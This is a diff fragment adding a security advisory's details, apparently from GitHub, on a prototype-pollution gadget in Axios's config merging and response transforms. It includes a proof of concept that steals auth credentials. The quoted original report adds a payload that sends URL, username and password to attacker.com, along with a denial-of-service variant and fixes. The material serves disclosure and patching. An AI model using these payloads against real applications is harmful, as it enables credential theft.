+ "details": "## Summary\n\nAxios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted `Object.prototype.transformResponse`, affected Axios versions may treat that inherited value as request configuration or as an option validator.\n\nAxios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over `Object.prototype` before Axios creates a request.\n\n## Impact\nFor ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.\n\nIf the attacker can pollute `Object.prototype.transformResponse` with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and `auth`, and can change the response data returned to application code.\n\nThis function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.\n\n## Affected Functionality\nThe affected functionality is Axios request config processing and response transformation.\n\nAffected use requires all of the following:\n- An affected Axios version.\n- A polluted `Object.prototype` in the same process or browser context.\n- Pollution before Axios merges or validates the request config.\n- A polluted key relevant to Axios config, especially `transformResponse`.\n\nThis is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.\n\n## Technical Details\nIn affected versions, `mergeConfig()` reads config values through normal property access. For config keys present in Axios defaults, including `transformResponse`, a missing own property on the request config can fall through to `Object.prototype`.\n\nIn the fully affected path, this means `Object.prototype.transformResponse` can replace Axios's default response transform. The selected transform is later executed by `transformData()` with the request config as `this`.\n\nSome later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in `validator.assertOptions()`. In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.\n\nFixed versions use own-property checks and null-prototype config objects, so inherited `Object.prototype` values are not treated as Axios config or validator schema entries.\n\n## Proof of Concept of Attack\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst seen = [];\n\nconst server = http.createServer((req, res) => {\n res.setHeader('Content-Type', 'application/json');\n res.end(JSON.stringify({ secret: 'response-secret' }));\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\n if (headers && typeof status === 'number') {\n seen.push({\n url: this.url,\n username: this.auth && this.auth.username,\n password: this.auth && this.auth.password,\n responseData: data\n });\n\n return { hijacked: true };\n }\n\n return true;\n};\n\ntry {\n const { port } = server.address();\n\n const response = await axios.get(`http://127.0.0.1:${port}/users`, {\n auth: { username: 'svc-account', password: 'prod-secret-key-123' }\n });\n\n console.log(response.data); // { hijacked: true }\n console.log(seen[0]); // request config plus original response body\n} finally {\n delete Object.prototype.transformResponse;\n\n server.close();\n}\n```\n\nExpected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.\n\nExpected result on fixed versions: the polluted transform is ignored, and the original response is returned.\n\n<details>\n<summary>Original source report</summary>\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests.\n\nThe `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n\n## CVSS 3.1\n\n**Score: 9.4 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Credential theft occurs within the same application process |\n| Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated |\n| Integrity | Low | Response data is replaced with `true` — attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) |\n| Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request |\n\n### Relationship to GHSA-fvcv-3m26-pcqx\n\nThis vulnerability is in the same class as GHSA-fvcv-3m26-pcqx (\"Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`'s prototype chain traversal.\n\n| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |\n|---|---|---|\n| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |\n| Fixed by 1.15.0 header sanitization? | Yes | **No — different code path** |\n| Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) |\n| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge.\n\nThe critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.transformResponse = function(data, headers, status) {\n // Steal credentials via this context (this = full request config)\n if (this && this.url && typeof data === 'string') {\n fetch('https://attacker.com/exfil', {\n method: 'POST',\n body: JSON.stringify({\n url: this.url,\n username: this.auth?.username,\n password: this.auth?.password,\n responseData: data,\n })\n });\n }\n return true; // MUST return true to pass assertOptions validator check\n};\n```\n\n**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer\nconst response = await axios.get('https://api.internal/users', {\n auth: { username: 'svc-account', password: 'prod-secret-key-123!' }\n});\n```\n\n### 3. The Execution\n\nAxios's `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:\n\n```javascript\nutils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {\n // 'transformResponse' is in config1 (defaults) → included in keys\n const merge = mergeMap[prop]; // → defaultToConfig2\n const configValue = merge(config1[prop], config2[prop], prop);\n // config2['transformResponse'] traverses prototype → finds polluted function!\n});\n```\n\nThe polluted function then executes at `transformData.js:21`:\n\n```javascript\ndata = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n// fn = attacker's function, this = config (containing auth credentials)\n```\n\n### 4. The Impact\n\n```\nAttacker receives at https://attacker.com/exfil:\n\n{\n \"url\": \"https://api.internal/users\",\n \"username\": \"svc-account\",\n \"password\": \"prod-secret-key-123!\",\n \"responseData\": \"{\\\"users\\\":[{\\\"id\\\":1,\\\"role\\\":\\\"admin\\\"}]}\"\n}\n```\n\nThe response data seen by the application is `true` (the required return value), which will likely cause the application to malfunction but will not reveal the theft.\n\n### 5. DoS Variant\n\n```javascript\n// Array pollution crashes every request\nObject.prototype.transformResponse = [function(d) { return d; }];\n\nawait axios.get('https://any-url.com');\n// → TypeError: validator is not a function\n// Every request in the application crashes\n```\n\n## Verified PoC Output\n\n```\nStep 1 - Normal behavior (before pollution): \n Default transformResponse function name: \"transformResponse\"\n\nStep 2 - Polluting Object.prototype.transformResponse: \n Function replaced by attacker: true\n\nStep 3 - Simulating dispatchRequest transformResponse: \n Original server response: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"} \n After malicious transform: true \n Response tampered: true\n\nStep 4 - Exfiltrated data: \n Original response data: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"} \n Request URL: https://internal-api.corp/secrets \n Authentication info: {\"username\":\"admin\",\"password\":\"P@ssw0rd123!\"}\n```\n\n## Impact Analysis\n\n- **Credential Theft:** `this.auth.username`, `this.auth.password`, `this.headers.Authorization`, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.\n- **Response Data Exfiltration:** The original server response (`data` parameter) is available to the injected function before being replaced.\n- **Universal Scope:** Affects **every** axios request in the application, including all third-party libraries that use axios.\n- **Denial of Service:** Polluting with a non-function value crashes every request.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.\n\n### Limitations (Honest Assessment)\n\n- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree\n- Response data cannot be arbitrarily tampered — the function must return `true` to pass `assertOptions`\n- This is in-process JavaScript function execution, not OS-level RCE\n\n## Recommended Fix\n\nUse `hasOwnProperty` checks in `defaultToConfig2` to prevent prototype chain traversal:\n\n```javascript\n// In lib/core/mergeConfig.js\nfunction defaultToConfig2(a, b, prop) {\n if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n}\n```\n\nAdditionally, validate that `transformResponse` contains only functions before execution:\n\n```javascript\n// In lib/core/transformData.js\nutils.forEach(fns, function transform(fn) {\n if (typeof fn !== 'function') {\n throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);\n }\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n});\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n- [Snyk: Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution/)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |\n| 2026-04-16 | PoC corrected (function payload returning true — works) |\n| 2026-04-16 | Report revised with accurate constraints |\n| TBD | Report submitted to vendor via GitHub Security Advisory |\n</details>",
0 commit comments